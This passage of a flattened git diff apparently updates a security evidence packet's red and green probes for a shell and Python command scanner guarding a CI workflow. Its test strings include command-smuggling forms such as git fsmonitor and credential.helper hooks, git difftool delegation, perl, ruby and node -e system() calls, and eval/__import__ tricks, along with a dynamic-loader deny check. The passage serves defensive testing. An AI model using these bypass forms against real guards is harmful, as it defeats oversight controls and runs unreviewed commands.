difftool --extcmd=gh workflow run ci.yml", - "git mergetool --tool=gh", - "env /usr/bin/git difftool --extcmd gh workflow run ci.yml", - "git -C /synthetic/repository difftool", - "git --git-dir=/synthetic/repository mergetool", + "git --exec-path=/synthetic/helper status", + "git --exec-path /synthetic/helper status", + "nice -n 5 gh workflow run ci.yml", + "timeout 30s docker run image:tag true", + "setsid gh api repos/example/project", + "git -c core.fsmonitor=/synthetic/hook status", + "git -c core.fsmonitor=true status", + "git -c core.sshCommand='gh api x' fetch origin", + "git -c credential.helper='!gh auth token' fetch origin", ): segments = scanner_ns["shell_token_segments"](command) - if not segments or scanner_ns["forbidden_command"](segments[0]) is None: - raise SystemExit(f"Git delegation escaped scanner: {command!r}") -for command in ("git status", "git -c user.name=probe status", "git diff --stat"): + if not segments or not any( + scanner_ns["forbidden_command"](segment) is not None + for segment in segments + ): + raise SystemExit(f"delegation escaped candidate scanner: {command!r}") +for command in ( + "git status", + "git -c core.fsmonitor=false status", + "git -c user.name=probe status", + "printf safe", +): segments = scanner_ns["shell_token_segments"](command) - if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: - raise SystemExit(f"safe Git form was rejected: {command!r}") -print( - "GREEN 4005546278: direct/equals/wrapped/global-option Git difftool/mergetool " - "delegation rejected before generic classification; safe Git status/config/diff retained" -) - -# 4005546284: execute only the wrapper setup through the first prospective -# metadata boundary, with its first Git lookup replaced by a local response. + if not segments or any( + scanner_ns["forbidden_command"](segment) is not None + for segment in segments + ): + raise SystemExit(f"safe boundary rejected: {command!r}") +print("GREEN 4006874715: git --exec-path split/equals delegation rejected before generic Git classification; safe Git status retained") +for body in ( + 'import subprocess\nlaunchers = {"run": subprocess.run}\nlaunchers["run"](["gh", "api", "x"])\n', + 'import os\nlaunchers = {"system": os.system}\nlaunchers["system"]("docker version")\n', + 'import subprocess\nlaunchers = {"run": subprocess.run}\nlaunchers.get("run")(["gh", "api", "x"])\n', + 'import subprocess\nlaunchers = {"run": subprocess.run}\nlaunchers[name](command)\n', + 'launchers = {"run": unknown}\nlaunchers["run"](command)\n', +): + if scanner_ns["inspect_python_heredoc"](body, False) is None: + raise SystemExit(f"mapping launcher escaped candidate AST scanner: {body!r}") +if scanner_ns["inspect_python_heredoc"]( + 'import subprocess\nsubprocess.run(["printf", "safe"])\n', False +) is not None: + raise SystemExit("safe direct Python launcher rejected") +print("GREEN 4006874734: mapping/subscript/.get known and unresolved Python launchers rejected; safe direct launcher retained") wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 wrapper_end = packet.index("\nPY\n}", wrapper_start) wrapper = packet[wrapper_start:wrapper_end] -setup_end = wrapper.index("\ngo_env = dict(env)") + len("\ngo_env = dict(env)") -setup = wrapper[:setup_end] -base = [ - "probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", - "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", - "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", - "-race", "-count=1", "-timeout=45s", "./livecanary", "-run=^TestProbe$", -] -saved_env, saved_argv, saved_check = dict(os.environ), sys.argv, subprocess.check_output -try: - os.environ.clear() - os.environ.update({ - "PATH": "/opt/homebrew/bin:/usr/bin:/bin", - "HOME": "/synthetic/home", - "XDG_CONFIG_HOME": "/synthetic/config", - "LANG": "C", - }) - sys.argv = base - subprocess.check_output = lambda command, **kwargs: str(Path.cwd()) + "\n" - namespace = {"__name__": "__main__"} - exec(compile(setup, "", "exec"), namespace) - go_env = namespace["go_env"] - expected = { - "GIT_CONFIG_NOSYSTEM": "1", - "GIT_CONFIG_GLOBAL": "/dev/null", - "GIT_CONFIG_SYSTEM": "/dev/null", - "GIT_CONFIG_COUNT": "2", - "GIT_CONFIG_KEY_0": "core.fsmonitor", - "GIT_CONFIG_VALUE_0": "false", - "GIT_CONFIG_KEY_1": "core.hooksPath", - "GIT_CONFIG_VALUE_1": "/dev/null", - } - if {key: go_env.get(key) for key in expected} != expected: - raise SystemExit("Go metadata child Git-config environment did not match reviewed values") - with tempfile.TemporaryDirectory() as directory: - root = Path(directory) - marker = root / "marker" - hook = root / "fsmonitor-hook" - hook.write_text("#!/bin/sh\nprintf invoked > \"$G01_MARKER\"\n", encoding="utf-8") - hook.chmod(0o755) - child_env = {**go_env, "G01_MARKER": str(marker)} - for command in ( - ["git", "init", "-q"], - ["git", "config", "core.fsmonitor", str(hook)], - ): - subprocess.run( - command, - cwd=root, - env={**child_env, "GIT_CONFIG_COUNT": "0"}, - check=True, - stdout=subprocess.DEVNULL, - stderr=subprocess.DEVNULL, - ) - status = subprocess.run( - ["git", "status", "--porcelain=v1"], - cwd=root, - env=child_env, - check=False, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - ) - if status.returncode != 0 or marker.exists(): - raise SystemExit("Go metadata child Git-config isolation failed synthetic hook boundary") -finally: - subprocess.check_output = saved_check - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) -print( - "GREEN 4005546284: Go metadata child environment carried exact system/global Git isolation " - "and core.fsmonitor=false/core.hooksPath=/dev/null overrides; synthetic local fsmonitor hook was not invoked" -) - -# 4005546293: text-order fence before every selector tool lookup. -selector_anchor = packet.index("The packet also audits every future shell") -selector_start = packet.index("selector_pattern='", selector_anchor) -selector_end = packet.index("\nPY\n```", selector_start) -selector_block = packet[selector_start:selector_end] -first_rg = selector_block.index('rg -n "$selector_pattern"') -path_pos = selector_block.index('[ "${PATH-}"') -loader_pos = selector_block.index('[ -z "${LD_PRELOAD-}"') -if not path_pos < loader_pos < first_rg: - raise SystemExit("selector fence ordering regressed") -for tool in ('rg -n "$selector_pattern"', 'wc -l', 'tr -d', 'grep -Fxq'): - if selector_block.index(tool) < loader_pos: - raise SystemExit(f"selector tool ran before loader fence: {tool}") -preflight = "\n".join(selector_block.splitlines()[1:3]) -for label, extra_environment in ( - ("PATH", {"PATH": "/synthetic/bin"}), - ("loader", {"LD_PRELOAD": "/synthetic/loader.dylib"}), +module = ast.parse(wrapper, filename="") +cgo_calls = [] +for node in ast.walk(module): + if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)): + continue + if not ( + isinstance(node.func.value, ast.Name) + and node.func.value.id == "subprocess" + and node.func.attr == "run" + ): + continue + if ( + node.args + and isinstance(node.args[0], ast.List) + and len(node.args[0].elts) == 2 + and isinstance(node.args[0].elts[0], ast.Name) + and node.args[0].elts[0].id == "resolved_cgo_path" + and isinstance(node.args[0].elts[1], ast.Constant) + and node.args[0].elts[1].value == "--version" + ): + cgo_calls.append(node) +if cgo_calls: + raise SystemExit("unbounded subprocess.run cgo capture remains") +for marker in ( + "def capture_cgo_version_output", + "def run_cgo_version_child", + "reviewed_cgo_version_max_bytes = 4096", + "reviewed_cgo_version_stream_chunk_bytes = 4096", + "run_cgo_version_child(resolved_cgo_path)", + "start_new_session=True", ): - with tempfile.TemporaryDirectory() as directory: - marker = Path(directory) / "selector-ran" - failure_probe = ( - preflight - + "\nprintf selector-ran > " - + shlex.quote(str(marker)) - + "\n" - ) - child_environment = { - "PATH": "/opt/homebrew/bin:/usr/bin:/bin", - **extra_environment, + if marker not in wrapper: + raise SystemExit(f"bounded cgo marker missing: {marker}") +selected = [] +for node in module.body: + if isinstance(node, ast.Assign) and any( + isinstance(target, ast.Name) + and target.id in { + "reviewed_cgo_version_max_bytes", + "reviewed_cgo_version_timeout_seconds", + "reviewed_cgo_version_stream_chunk_bytes", } - result = subprocess.run( - ["/bin/bash"], - input=failure_probe, - text=True, - env=child_environment, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - ) - if result.returncode == 0 or marker.exists(): - raise SystemExit( - f"selector {label} failure boundary did not stop before external lookup" - ) -print( - "GREEN 4005546293 boundary checks: synthetic hostile PATH and loader state " - "were rejected before any selector marker could run" -) -print( - "GREEN 4005546293: canonical PATH and dynamic-loader checks preceded every selector " - "rg/wc/tr/grep lookup; no external selector ran before validation" + for target in node.targets + ): + selected.append(node) + if isinstance(node, ast.FunctionDef) and node.name == "capture_cgo_version_output": + selected.append(node) +helper_ns = { + "ast": ast, + "os": os, + "selectors": selectors, + "subprocess": subprocess, + "time": time, + "label": "cgo-boundary", +} +exec(compile(ast.Module(body=selected, type_ignores=[]), "", "exec"), helper_ns) + +def fake_process(payload): + out_read, out_write = os.pipe() + err_read, err_write = os.pipe() + os.write(out_write, payload) + os.close(out_write) + os.close(err_write) + return SimpleNamespace( + stdout=os.fdopen(out_read, "rb"), + stderr=os.fdopen(err_read, "rb"), + returncode=0, + wait=lambda timeout=None: 0, + ) + +proc = fake_process(b"Apple clang version 21.0.0 (clang-2100.1.1.101)\n") +stdout, stderr = helper_ns["capture_cgo_version_output"]( + proc, ["/usr/bin/clang", "--version"] ) +if stdout != b"Apple clang version 21.0.0 (clang-2100.1.1.101)\n" or stderr: + raise SystemExit("bounded cgo capture changed valid banner") +proc = fake_process(b"x" * 4097) +try: + helper_ns["capture_cgo_version_output"](proc, ["/usr/bin/clang", "--version"]) +except SystemExit: + for stream in (proc.stdout, proc.stderr): + stream.close() +else: + raise SystemExit("bounded cgo capture accepted oversized output") +print("GREEN 4006874746: clang --version uses owned streaming capture with 4,096-byte/30-second bounds before UTF-8 validation; overflow rejected without compiler child") +for command in ( + "python3 -I - <<< 'import subprocess; subprocess.run([\"gh\", \"api\", \"x\"])'", + "printf 'import subprocess; subprocess.run([\\\"gh\\\", \\\"api\\\", \\\"x\\\"])' | python3 -I -", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or not any( + scanner_ns["forbidden_command"](segment) is not None + for segment in segments + ): + raise SystemExit(f"Python stdin form escaped candidate scanner: {command!r}") +heredoc = "```sh\npython3 -I - <&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed exact-parent fresh-finding red probes /opt/homebrew/bin/python3 -I - <<'PY' import ast import re @@ -18734,257 +31875,305 @@ import shlex import subprocess from pathlib import Path -parent = "7d91bed688dbea21bea7dff62f41d48d1d57ce4b" +parent = "2abe394ee32f09888892c4adea5fc08121845d6b" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) -anchor = packet.index("The packet also runs a command-line scan over fenced") -start = packet.index("/opt/homebrew/bin/python3 -I - <<'PY'\n", anchor) + len("/opt/homebrew/bin/python3 -I - <<'PY'\n") -end = packet.index("\nPY\n```", start) -scanner = packet[start:end].replace( - 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', - "source = packet", - 1, -) -try: - exec(compile(scanner, "", "exec"), {"__name__": "__main__", "packet": packet}) -except SystemExit as error: - message = str(error) - if "line 2269: unresolved or parameter-expanded executable is not allowed" not in message: - raise SystemExit("red setup changed: checked_helper witness moved") - if "line 4845: unsupported shell compound syntax is not allowed" not in message: - raise SystemExit("red setup changed: quoted awk witness moved") - print("RED 4006042813: exact parent scanner rejected embedded checked_helper and quoted regex/awk bodies; first witnesses were lines 2269 and 4845") -else: - raise SystemExit("red setup changed: exact parent scanner unexpectedly passed") - scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) -for command in ( - "GIT_EXTERNAL_DIFF=/synthetic/helper git diff", - "git diff --ext-diff", - "git -c diff.external=/synthetic/helper diff", -): - segments = scanner_ns["shell_token_segments"](command) - if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: - raise SystemExit("red setup changed: parent already rejects " + command) -print("RED 4006042822: exact parent accepted GIT_EXTERNAL_DIFF, git diff --ext-diff and git -c diff.external=/synthetic/helper diff") -for command in ( - "git --config-env alias.ship=GIT_ALIAS diff", - "git --config-env=alias.ship=GIT_ALIAS diff", + +perl = "perl -e 'system(\"gh workflow run ci.yml\")'" +segments = scanner_ns["shell_token_segments"](perl) +if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit("red setup changed: exact parent already rejects Perl command interpreter") +print("RED 4007243497: exact parent accepted perl -e system(\"gh workflow run ci.yml\") (violation=None)") +for safe in ("git status", "printf safe"): + parts = scanner_ns["shell_token_segments"](safe) + if not parts or scanner_ns["forbidden_command"](parts[0]) is not None: + raise SystemExit(f"red setup changed: safe reviewed command rejected: {safe!r}") + +for body in ( + 'eval("print(\\"safe\\")")\n', + 'exec("print(\\"safe\\")")\n', + '__import__("os").system("gh workflow run ci.yml")\n', ): - segments = scanner_ns["shell_token_segments"](command) - if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: - raise SystemExit("red setup changed: parent already rejects " + command) -print("RED Luna alias bypass: exact parent accepted split/equals Git --config-env alias.* delegation") + if scanner_ns["inspect_python_heredoc"](body, True) is not None: + raise SystemExit(f"red setup changed: exact parent rejected dynamic Python primitive: {body!r}") +print("RED 4007243507: exact parent accepted eval, exec and __import__ primitives even with the reviewed safe marker") -selector_anchor = packet.index("The packet also audits every future shell") -selector_start = packet.index("selector_pattern='", selector_anchor) -selector_end = packet.index("\nPY\n```", selector_start) -selector_block = packet[selector_start:selector_end] -first_rg = selector_block.index('rg -n "$selector_pattern"') -if "DYLD_FALLBACK_FRAMEWORK_PATH" in selector_block[:first_rg]: - raise SystemExit("red setup changed: parent already covered fallback framework") -print("RED 4006042835: exact parent reached selector rg before checking DYLD_FALLBACK_FRAMEWORK_PATH") +lines = packet.splitlines() +logical_selector_command = re.compile( + r"^\s*(?:go_test_checked\b.*\bgo test\b|" + r"(?:(?:[A-Za-z_][A-Za-z0-9_]*=[^\s]+)\s+)*" + r"(?:env\s+.*\s+)?(?:command(?:\s+-[^\s]+)*\s+)?go test\b)" + r".*\s--?(?:run|skip)(?:=|\s)", re.DOTALL, +) +def logical_commands(source_lines): + commands = [] + index = 0 + while index < len(source_lines): + first = index + command = source_lines[index].rstrip() + while command.endswith("\\"): + command = command[:-1].rstrip() + " " + index += 1 + if index >= len(source_lines): + raise SystemExit("red setup changed: unterminated continuation") + command += source_lines[index].lstrip() + commands.append((first, command)) + index += 1 + return commands +logical = sum( + not command.lstrip().startswith("selector_probe=$'") + and logical_selector_command.search(command) is not None + for _, command in logical_commands(lines) +) +wrapper_records = sum(line.lstrip().startswith("go_test_checked ") for line in lines) +if (logical, wrapper_records) != (28, 29): + raise SystemExit(f"red setup changed: expected parent counts 28/29, observed {logical}/{wrapper_records}") +print("RED 4007243520: exact parent selector certification counted 28 logical selectors but 29 go_test_checked records because the indented go_vet_checked adapter call was included") -doc_start = packet.index("## Documentation-only validation") -link_start = packet.index("### Markdown links, JSON, and ledger shape", doc_start) -link_end = packet.index("The link/anchor checker reported", link_start) -link_block = packet[link_start:link_end] -if 'subprocess.check_output(["git", "ls-files", "*.md"], text=True)' not in link_block: - raise SystemExit("red setup changed: parent link-check Git child witness moved") -if "GIT_CONFIG_NOSYSTEM" in link_block: - raise SystemExit("red setup changed: parent already carried documentation Git config") -print("RED 4006042843: exact parent markdown/link validation spawned git ls-files without safe system/global config or fsmonitor/hooksPath overrides") +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +functions = {node.name: node for node in ast.parse(wrapper).body if isinstance(node, ast.FunctionDef)} +unbounded = [ + node for node in ast.walk(functions["terminate_go_child_group"]) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and node.func.attr == "wait" + and not node.args + and not node.keywords +] +if not unbounded: + raise SystemExit("red setup changed: exact parent has no unbounded process.wait()") +print("RED 4007243527: exact parent SIGKILL cleanup used unbounded process.wait() and could hang instead of failing closed within grace") PY ``` Recorded exact-parent red output: ```text -RED 4006042813: exact parent scanner rejected embedded checked_helper and quoted regex/awk bodies; first witnesses were lines 2269 and 4845 -RED 4006042822: exact parent accepted GIT_EXTERNAL_DIFF, git diff --ext-diff and git -c diff.external=/synthetic/helper diff -RED Luna alias bypass: exact parent accepted split/equals Git --config-env alias.* delegation -RED 4006042835: exact parent reached selector rg before checking DYLD_FALLBACK_FRAMEWORK_PATH -RED 4006042843: exact parent markdown/link validation spawned git ls-files without safe system/global config or fsmonitor/hooksPath overrides +RED 4007243497: exact parent accepted perl -e system("gh workflow run ci.yml") (violation=None) +RED 4007243507: exact parent accepted eval, exec and __import__ primitives even with the reviewed safe marker +RED 4007243520: exact parent selector certification counted 28 logical selectors but 29 go_test_checked records because the indented go_vet_checked adapter call was included +RED 4007243527: exact parent SIGKILL cleanup used unbounded process.wait() and could hang instead of failing closed within grace ``` -#### Minimal packet-only correction and focused green/boundary probes +#### Minimal packet-only correction and focused green probes -The minimal correction uses a literal `go_test_checked` call in the vet -adapter, keeps multiline quoted shell data together before token inspection, -ignores assignment-only shell records and shell test brackets, rejects -`GIT_EXTERNAL_DIFF`, `--ext-diff`, `diff.external` and `--config-env alias.*` -delegation before generic Git classification, adds the missing fallback -framework loader check before every selector tool, and exports the reviewed -Git system/global plus fsmonitor/hooksPath settings in every current -documentation-validation block that can spawn Git. Safe `--no-ext-diff`, -status, diff and user-config forms remain accepted. +The minimal correction denies command-capable interpreter basenames, including +Perl `-e` forms, while retaining safe reviewed Git/printf commands and the +isolated Python-heredoc path. The Python AST pass now rejects direct, qualified, +aliased and unresolved built-in `eval`/`exec`/`__import__` execution primitives +before dynamic safe-marker handling; only the packet's static `compile(..., +, "exec")` metaprogramming shape and literal packet-only imports are +recognized as reviewed helpers. The selector count is restricted to top-level +`go_test_checked` prescriptions, excluding the indented `go_vet_checked` adapter +delegation. Every process reap, including the SIGKILL path, carries a bounded +timeout and fails closed when the owned child/group cannot be reaped within the +reviewed grace period. -The green probe below executes the candidate embedded scanner, exercises the -delegation allow/deny boundary, checks every reviewed loader variable before -each `rg`/`wc`/`tr`/`grep` selector lookup, runs hostile PATH/loader failure -boundaries before a marker, verifies the documentation-block Git fence, and -suppresses a synthetic local fsmonitor hook. It uses no Go, compiler, test -body, workflow, runner, Docker, Lima, Keychain, launchd, credential or live -GitHub operation. +The focused green probe reads only the candidate packet and exercises pure +scanner/AST/count helpers plus a synthetic process-group model. It runs no +interpreter payload, compiler, Go child, test body, workflow, runner, Docker, +Lima, Keychain, launchd, credential or live GitHub operation. ```sh set -euo pipefail -export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null -# g01-safe-python-heredoc: reviewed focused scanner/Git/loader boundary probe +export PATH=/opt/homebrew/bin:/usr/bin:/bin [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed focused four-finding boundary probes /opt/homebrew/bin/python3 -I - <<'PY' import ast import os import re import shlex +import signal import subprocess -import tempfile +import time from pathlib import Path packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -anchor = packet.index("The packet also runs a command-line scan over fenced") -start = packet.index("/opt/homebrew/bin/python3 -I - <<'PY'\n", anchor) + len("/opt/homebrew/bin/python3 -I - <<'PY'\n") -end = packet.index("\nPY\n```", start) -scanner = packet[start:end] -exec(compile(scanner, "", "exec"), {"__name__": "__main__"}) -print("GREEN 4006042813: embedded scanner passed reproducibly; checked_helper was replaced with a literal reviewed helper call, multiline quoted regex/awk bodies stayed data, and no forbidden command ran") - scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) + +def rejects(command): + return any( + scanner_ns["forbidden_command"](segment) is not None + for segment in scanner_ns["shell_token_segments"](command) + ) + for command in ( - "GIT_EXTERNAL_DIFF=/synthetic/helper git diff", - "git diff --ext-diff", - "git diff --ext-diff=true", - "git -c diff.external=/synthetic/helper diff", - "git -cdiff.external=/synthetic/helper diff", - "git config diff.external /synthetic/helper", - "git --config-env alias.ship=GIT_ALIAS diff", - "git --config-env=alias.ship=GIT_ALIAS diff", + "perl -e 'system(\"gh workflow run ci.yml\")'", + "ruby -e 'system(\"gh workflow run ci.yml\")'", + "node -e 'require(\"child_process\").exec(\"gh workflow run ci.yml\")'", + "python3 /synthetic/script.py", ): - segments = scanner_ns["shell_token_segments"](command) - violation = scanner_ns["forbidden_command"](segments[0]) if segments else None - if violation is None: - raise SystemExit(f"delegation escaped scanner: {command!r}") -for command in ("git diff --no-ext-diff", "git diff --stat", "git status", "git -c user.name=probe status"): - segments = scanner_ns["shell_token_segments"](command) - violation = scanner_ns["forbidden_command"](segments[0]) if segments else None - if violation is not None: - raise SystemExit(f"safe Git form was rejected: {command!r}") -print("GREEN 4006042822: GIT_EXTERNAL_DIFF, git diff --ext-diff and diff.external helper delegation rejected; safe --no-ext-diff/status/diff forms retained") -print("GREEN Luna alias bypass: split/equals --config-env alias.* delegation rejected before Git classification; safe user config/status retained") + if not rejects(command): + raise SystemExit(f"command-capable interpreter escaped scanner: {command!r}") +for command in ("git status", "printf safe"): + if rejects(command): + raise SystemExit(f"safe reviewed command was rejected: {command!r}") +print("GREEN 4007243497: Perl/ruby/node/Python command-capable interpreter forms rejected before execution; safe Git status and printf retained") -selector_anchor = packet.index("The packet also audits every future shell") -selector_start = packet.index("selector_pattern='", selector_anchor) -selector_end = packet.index("\nPY\n```", selector_start) -selector_block = packet[selector_start:selector_end] -required_loaders = ( - "LD_PRELOAD", "LD_PRELOAD_32", "LD_PRELOAD_64", "LD_LIBRARY_PATH", - "LD_LIBRARY_PATH_32", "LD_LIBRARY_PATH_64", "LD_AUDIT", - "DYLD_INSERT_LIBRARIES", "DYLD_LIBRARY_PATH", "DYLD_FALLBACK_LIBRARY_PATH", - "DYLD_FRAMEWORK_PATH", "DYLD_FALLBACK_FRAMEWORK_PATH", "DYLD_ROOT_PATH", -) -loader_start = '[ -z "${LD_PRELOAD-}" ]' -loader_positions = [m.start() for m in re.finditer(re.escape(loader_start), selector_block)] -if len(loader_positions) < 2: - raise SystemExit(f"selector loader coverage expected two fences, observed {len(loader_positions)}") -for tool in ('rg -n "$selector_pattern"', "wc -l", "tr -d", "grep -Fxq"): - position = selector_block.find(tool) - if position < 0: - raise SystemExit(f"selector tool missing: {tool}") - preceding = max((item for item in loader_positions if item < position), default=-1) - if preceding < 0 or any(name not in selector_block[preceding:position] for name in required_loaders): - raise SystemExit(f"selector tool lacks complete preceding loader fence: {tool}") -first_loader_end = selector_block.index("|| {", loader_positions[0]) -first_loader = selector_block[loader_positions[0]:first_loader_end].strip() -path_check = '[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || exit 1' -with tempfile.TemporaryDirectory() as directory: - marker = Path(directory) / "selector-ran" - script = path_check + "\n" + first_loader + " || exit 1\nprintf ran > " + shlex.quote(str(marker)) + "\n" - result = subprocess.run( - ["/bin/bash"], input=script, text=True, - env={"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LD_PRELOAD": "/synthetic/loader"}, - stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, - ) - if result.returncode == 0 or marker.exists(): - raise SystemExit("hostile loader selector fence failed to stop before marker") -print("GREEN 4006042835: DYLD_FALLBACK_FRAMEWORK_PATH and all reviewed loader variables were checked before every rg/wc/tr/grep selector lookup; hostile loader boundary stopped before marker") +for body in ( + 'eval("print(\\"safe\\")")\n', + 'exec("print(\\"safe\\")")\n', + '__import__(module_name)\n', + 'import builtins\nbuiltins.eval("print(1)")\n', + 'import builtins\ngetattr(builtins, name)(payload)\n', + 'launch = eval\nlaunch(payload)\n', +): + if scanner_ns["inspect_python_heredoc"](body, True) is None: + raise SystemExit(f"dynamic Python primitive escaped AST scanner: {body!r}") +for body in ( + 'import subprocess\nsubprocess.run(["printf", "safe"])\n', + 'exec(compile(wrapper, "", "exec"), namespace)\n', + '__import__("signal")\n', +): + if scanner_ns["inspect_python_heredoc"](body, True) is not None: + raise SystemExit(f"reviewed Python body was rejected: {body!r}") +if scanner_ns["inspect_python_heredoc"]( + "import subprocess\nsubprocess.run(command)\n", True +) is None: + raise SystemExit("dynamic safe-marker command was accepted") +print("GREEN 4007243507: direct/qualified/aliased/unresolved eval, exec and __import__ forms fail closed before marker certification; reviewed safe launcher/static helper forms retained") -required_config = "GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null" -anchors = ( - "### Markdown links, JSON, and ledger shape", - "At the start of this packet-only correction", - "### Stable checkout and selector audit", - "The pre-correction PR #78 head check", - "The following dynamic command is the live final-verification template", - "The following commands are the exact documentation/static checks", - "The declaration consistency check also avoids", - "The package-level initialization guard also resolves", - "The immutable prior-head source-name probe recorded", - "The source-derived selector boundary was separately", - "### Diff and staged secret/private-path scan", +lines = packet.splitlines() +logical_selector_command = re.compile( + r"^\s*(?:go_test_checked\b.*\bgo test\b|" + r"(?:(?:[A-Za-z_][A-Za-z0-9_]*=[^\s]+)\s+)*" + r"(?:env\s+.*\s+)?(?:command(?:\s+-[^\s]+)*\s+)?go test\b)" + r".*\s--?(?:run|skip)(?:=|\s)", re.DOTALL, ) -for label in anchors: - block_start = packet.index(label) - fence_start = packet.index("```sh\n", block_start) - fence_end = packet.index("\n```", fence_start) - body = packet[fence_start:fence_end] - first_git = min([position for position in (body.find("git "), body.find('["git"')) if position >= 0], default=-1) - if first_git >= 0 and required_config not in 